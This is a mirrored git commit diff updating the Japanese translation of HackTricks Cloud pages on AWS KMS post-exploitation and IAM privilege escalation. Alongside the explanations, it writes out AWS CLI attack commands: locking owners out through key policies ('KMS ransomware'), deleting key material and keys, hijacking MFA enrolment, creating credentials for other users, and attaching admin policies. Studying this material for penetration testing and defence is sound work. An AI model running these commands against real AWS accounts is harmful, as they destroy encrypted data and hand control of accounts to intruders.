mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -10,17 +10,17 @@
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
### 情報の暗号化/復号化
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` はファイルをバイナリモードで読み込みます。非テキストファイルに一般的に使用されます。
|
||||
- `file://:` はファイルをテキストモードで読み込みます。プレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に通常使用されます。
|
||||
- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルで一般的に使用されます。
|
||||
- `file://:` はファイルをテキストモードで読み込み、通常はプレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に使用されます。
|
||||
|
||||
> [!TIP]
|
||||
> ファイル内のデータをdecryptしたい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)
|
||||
> ファイル内のデータを復号化したい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
- **対称**鍵を使用する
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- **非対称**鍵を使用する:
|
||||
- **asymmetric** key を使用する:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
KMS に対する特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して **自分のアカウントに対するアクセスを付与し**、正規のアカウントに付与されているアクセスを削除できます。
|
||||
KMS への特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して、**自身のアカウントにそれらへのアクセスを付与し**、正当なアカウントに付与されているアクセスを削除することができます。
|
||||
|
||||
すると、正規のアカウントのユーザーはそれらのキーで暗号化されたサービスの情報に一切アクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を作り出します。
|
||||
そうすると、正当なアカウントのユーザーはそれらのキーで暗号化されたサービスのいかなる情報にもアクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を発生させます。
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃では **AWS managed keys は影響を受けません**。影響を受けるのは **Customer managed keys** のみです。
|
||||
|
||||
> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点に注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能です)。
|
||||
> この攻撃は **AWS managed keys** には影響しない点に注意してください。影響を受けるのは **Customer managed keys** のみです。
|
||||
>
|
||||
> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(Web コンソールにこのオプションがないため、この攻撃は CLI からのみ実行可能です)。
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> このポリシーを変更して外部アカウントのみにアクセスを付与し、その外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとしても、クロスアカウントからは Put Polocy アクションを実行できないため、できません。
|
||||
> そのポリシーを変更して外部アカウントのみにアクセスを付与し、さらにその外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとした場合、**元のアカウントにアクセスを戻すことはできません。Put Polocy action はクロスアカウントから実行できないためです。**
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 一般的な KMS Ransomware
|
||||
### Generic KMS Ransomware
|
||||
|
||||
グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:
|
||||
|
||||
- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
|
||||
- 被害者が以前のバージョンで暗号化した古いデータを **Re-encrypt older data** して新しいキーで再暗号化する
|
||||
- **Delete the KMS key**
|
||||
- こうしてオリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
- 攻撃者がインポートした**key materialを持つ新しいキーを作成する**
|
||||
- 被害者の、以前のバージョンで暗号化された古いデータを新しいキーで**再暗号化する**
|
||||
- **KMSキーを削除する**
|
||||
- これにより、オリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになります
|
||||
|
||||
### kms:DeleteImportedKeyMaterial による鍵の削除
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
`kms:DeleteImportedKeyMaterial` permission があれば、アクターは `Origin=EXTERNAL` の CMKs からインポートされた key material を削除でき(キー素材をインポートした CMKs)、それによりそれらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り回復できません。結果として、攻撃者は暗号化された情報を恒久的にアクセス不能にして、ransomware-like data loss を実質的に引き起こすことができます。
|
||||
`kms:DeleteImportedKeyMaterial` 権限を持つアクターは、`Origin=EXTERNAL` を持つ CMKs(key material をインポートした CMKs)からインポートされた key material を削除でき、その結果それらはデータを復号できなくなります。この操作は破壊的で不可逆的であり、互換性のある素材が再インポートされない限り元に戻せません。したがって、攻撃者は暗号化された情報を恒久的にアクセス不能にして、実質的にランサムウェアのようなデータ損失を引き起こすことができます。
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### キーを破壊
|
||||
### キーを破棄する
|
||||
|
||||
キーを破壊すると、DoSを実行することが可能です。
|
||||
キーを破棄すると DoS を引き起こす可能性があります。
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意: AWS は現在 **以前の操作が cross account から実行されることを防止しています:**
|
||||
> AWS は現在 **以前のアクションがクロスアカウントから実行されることを防いでいます:**
|
||||
|
||||
### Alias の変更または削除
|
||||
この攻撃は AWS KMS aliases を削除またはリダイレクトし、キーの解決を失わせ、それらの aliases に依存するサービスで即時に障害を発生させ、denial-of-service を引き起こします。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または別の場所を指すように変更し、暗号化操作(例:encrypt、describe)を妨害できます。alias を key ID の代わりに参照しているサービスは、alias が復元されるか正しく再マッピングされるまで失敗する可能性があります。
|
||||
この攻撃は AWS KMS の Alias を削除またはリダイレクトし、キーの解決を破壊してそれらの Alias に依存するサービスに即時の障害を引き起こし、denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は Alias を削除または再指向して暗号操作(例: encrypt、describe)を妨害できます。key ID の代わりに Alias を参照しているサービスは、Alias が復元されるか正しくリマップされるまで失敗する可能性があります。
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
`kms:CancelKeyDeletion` や `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS のカスタマーマスターキーの予定された削除を取り消し、後で再有効化できます。こうすることでキーを回復(最初は Disabled 状態)し、以前に保護されていたデータを復号する能力を復元して、exfiltration を可能にします。
|
||||
`kms:CancelKeyDeletion` や `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key のスケジュールされた削除をキャンセルし、後で再び有効化できます。これによりキーが回復し(最初は Disabled 状態)、以前保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -146,13 +146,13 @@ aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### キーの無効化
|
||||
`kms:DisableKey` の権限があれば、攻撃者は AWS KMS のカスタマーマスターキー(CMK)を無効化でき、暗号化や復号で使用できなくなります。これにより当該 CMK に依存するサービスのアクセスが遮断され、キーが再有効化されるまで即時の障害や denial-of-service が発生する可能性があります。
|
||||
`kms:DisableKey` 権限があれば、アクターは AWS KMS のカスタマーマスターキー(CMK)を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが失われ、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### 共有シークレットの導出
|
||||
`kms:DeriveSharedSecret` 権限を持つアクターは、KMS が保持する秘密鍵とユーザー提供の公開鍵を使用して ECDH 共有シークレットを計算できます。
|
||||
`kms:DeriveSharedSecret` 権限があれば、アクターは KMS が保持する秘密鍵とユーザーが提供した公開鍵を使って ECDH の共有シークレットを計算できます。
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
`kms:Sign` の権限があれば、攻撃者は KMS-stored CMK を使って private key を露出させることなくデータを暗号的に署名し、正当な署名を生成して impersonation を可能にしたり悪意のある操作を承認したりできます。
|
||||
`kms:Sign` の権限があれば、攻撃者は KMS に格納された CMK を用いて秘密鍵を露出させることなくデータに暗号学的署名を行い、有効な署名を生成できます。これにより impersonation を可能にしたり、悪意のある操作を正当化・実行することができます。
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -169,7 +169,7 @@ aws kms sign \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、または `kms:UpdateCustomKeyStore` のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除してそのマスターキーを利用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号化、署名操作が中断され、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが極めて重要です。
|
||||
`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、または `kms:UpdateCustomKeyStore` のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、当該キーに依存するサービスの暗号化、復号、署名処理が停止し、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM の詳細については次を参照してください:
|
||||
IAMに関する詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,40 +12,59 @@ IAM の詳細については次を参照してください:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
新しい IAM ポリシーバージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限をバイパスしてデフォルトに設定でき、カスタムの権限を定義可能です。
|
||||
新しい IAM ポリシーのバージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限を必要とせずに回避できます。これによりカスタム権限の定義が可能になります。
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**影響:** 任意のリソースに対して任意のアクションを実行できるようにすることで、直接的に権限を昇格させます。
|
||||
**影響:** 任意のリソースに対する任意の操作を許可することで、直接的に権限を昇格させます。
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
既存の別バージョンにIAMポリシーのデフォルトバージョンを変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
|
||||
IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの許可を持つ場合、権限が昇格する可能性があります。
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**影響:** 間接的な privilege escalation — より多くの権限を有効にすることで発生します。
|
||||
**影響:** 追加の権限を有効にすることで間接的な privilege escalation を招く可能性がある。
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性があります。
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation につながる。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**影響:** 別ユーザーの拡張権限を利用して直接的に権限昇格を引き起こす。
|
||||
**Impact:** 別のユーザーの拡張された権限を引き継ぐことで発生する直接的な権限昇格。
|
||||
|
||||
ユーザーは access keys を最大2つまでしか作成できないことに注意してください。既に2つの access keys があるユーザーに対して新しいものを作成するには、どれか1つを削除する権限 `iam:DeleteAccessKey` が必要です:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
新しい virtual MFA device を作成して別のユーザーで有効化できる場合、そのユーザーに対して実質的に自分のMFAを登録し、その資格情報で MFA-backed session を要求できます。
|
||||
|
||||
**悪用:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**影響:** ユーザーのMFA登録を乗っ取ることで直接的な権限昇格が可能になり(その後その権限を使用する)。
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
ログインプロファイルの作成や更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、これにより直接的な権限昇格につながる。
|
||||
ログインプロファイルの作成または更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、それにより直接的な権限昇格につながります。
|
||||
|
||||
**Exploit for Creation:**
|
||||
**作成のエクスプロイト:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -55,27 +74,27 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** 「任意」のユーザーとしてログインすることで直接的な特権昇格。
|
||||
**Impact:** 直接的な privilege escalation — "any" ユーザーとしてログインすることで発生する。
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
無効化された access key を再度有効化できるため、攻撃者がその無効なキーを所持している場合、不正アクセスにつながる可能性がある。
|
||||
無効化された access key を有効化できるため、attacker がその disabled key を所持している場合に unauthorized access を招く可能性がある。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impact:** 直接的な権限昇格(access keys を再有効化することで)。
|
||||
**影響:** アクセスキーを再有効化することで直接的な privilege escalation が発生する。
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
特定の AWS サービス(例: CodeCommit、Amazon Keyspaces)向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
|
||||
特定の AWS サービス (例: CodeCommit、Amazon Keyspaces) の認証情報を生成またはリセットでき、関連付けられたユーザーの権限を継承する。
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**リセット用エクスプロイト:**
|
||||
**Reset用 Exploit:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
@@ -83,7 +102,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id <cred
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
|
||||
ユーザーやグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
@@ -93,17 +112,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** ポリシーが付与する任意の権限へ直接昇格可能。
|
||||
**影響:** ポリシーが付与するあらゆる権限に対して直接的に権限昇格できます。
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
ロール、ユーザー、グループにポリシーをアタッチ/設定でき、追加権限を付与して直接的な権限昇格を可能にします。
|
||||
ロール、ユーザー、またはグループにポリシーを割り当て(attach/put)できるようにし、追加の権限を付与することで直接的に権限昇格が可能になります。
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**インラインポリシーの悪用:**
|
||||
**Inline Policies向けのExploit:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -114,7 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
次のようなポリシーを使用できます:
|
||||
次のようなポリシーを使用できます:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,21 +146,21 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こす。
|
||||
**影響:** ポリシーを介して権限を追加することで直接的な権限昇格を引き起こす。
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
自分を IAM グループに追加できるようにし、グループの権限を継承することで権限が昇格する。
|
||||
自身をIAMグループに追加できるようになり、グループの権限を継承することで権限が昇格する。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** グループの権限と同等のレベルまで直接的に権限を昇格させることができる。
|
||||
**影響:** グループの権限レベルへの直接的な権限昇格。
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
ロールの assume role policy ドキュメントを変更できるため、そのロールとその関連権限を引き受けられるようになる。
|
||||
ロールの assume role policy document を変更できるようにし、そのロールおよび関連する権限の引き受けを可能にします。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -163,11 +182,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** 任意のロールの権限を引き継ぐことで、直接的な権限昇格が可能になります。
|
||||
**影響:** 任意のロールの権限を引き継ぐことで直接的な権限昇格が可能になります。
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
CodeCommit に対する認証用の SSH 公開鍵のアップロードと、MFA デバイスの無効化を許可し、結果的に間接的な権限昇格を招く可能性があります。
|
||||
SSH公開鍵をアップロードして CodeCommit に認証することや、MFAデバイスを無効化することを許可し、間接的な権限昇格につながる可能性があります。
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**影響:** CodeCommit へのアクセスを有効にしたり、MFA 保護を無効にしたりすることで、間接的な privilege escalation が発生する可能性があります。
|
||||
**影響:** CodeCommit へのアクセスを有効化する、または MFA 保護を無効化することで発生する間接的な権限昇格。
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
MFA デバイスの再同期を許可します。MFA 保護を操作することで、間接的な privilege escalation を引き起こす可能性があります。
|
||||
MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格につながる可能性がある。
|
||||
|
||||
**Bash コマンド:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** MFAデバイスの追加または操作による間接的な特権昇格。
|
||||
**影響:** MFAデバイスを追加または操作することによる間接的なprivilege escalation。
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
これらの権限があれば、**SAML connectionのXMLメタデータを変更する**ことができます。そうすると、**SAML federation**を悪用して、**それを信頼している任意のrole**で**login**することができます。
|
||||
これらの権限があれば、**SAML接続のXMLメタデータを変更**できます。次に、**SAML federation**を悪用して、それを信頼している任意の**role**で**login**できます。
|
||||
|
||||
ただし、これを行うと**正規のユーザーはloginできなくなります**。とはいえ、XMLを取得できるので、自分のものを入れてloginし、以前の設定に戻すように構成することが可能です。
|
||||
注意:これを行うと**正規ユーザーはloginできなくなります**。ただし、XMLを取得できれば、自分のXMLを入れてloginし、その後元の設定に戻して復元することができます。
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: 指定したロールでログインできる SAML metadata を生成するツール
|
||||
> TODO: SAML metadata を生成し、指定した role でログインできるツール
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(確かではない) 攻撃者がこれらの**権限**を持っている場合、新しい**Thumbprint**を追加してプロバイダーを信頼するすべてのロールにログインできるようにする可能性がある。
|
||||
(不確か)攻撃者がこれらの **permissions** を持っている場合、**Thumbprint** を追加して、その provider を信頼するすべての roles にログインできるようにする可能性があります。
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
この権限により攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限によって制限されている操作を実行できるようにして権限を昇格させる可能性があります。
|
||||
この権限により攻撃者はユーザーのアクセス許可の境界を更新できるようになり、通常は既存の権限で制限されている操作を実行できるようにして権限を昇格させる可能性があります。
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,13 +268,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
`iam:PutRolePermissionsBoundary` を持つ主体は、既存のロールに permissions boundary を設定できます。問題は、この権限を持つ者がロールの permissions boundary を変更した場合に発生します:操作を不適切に制限してサービスの中断を引き起こす可能性がある一方、許容的な permissions boundary をアタッチすると、実質的にロールができることを拡大して権限昇格を引き起こす可能性があります。
|
||||
iam:PutRolePermissionsBoundary を持つアクターは、既存のロールに権限境界を設定できます。リスクは、この権限を持つ者がロールの境界を変更した場合に発生します:操作を不適切に制限してサービスの中断を引き起こす可能性があるか、許容的な境界を付与すればロールの実行可能な範囲が実質的に拡大し、権限昇格につながる可能性があります。
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## 参考資料
|
||||
## 参考文献
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user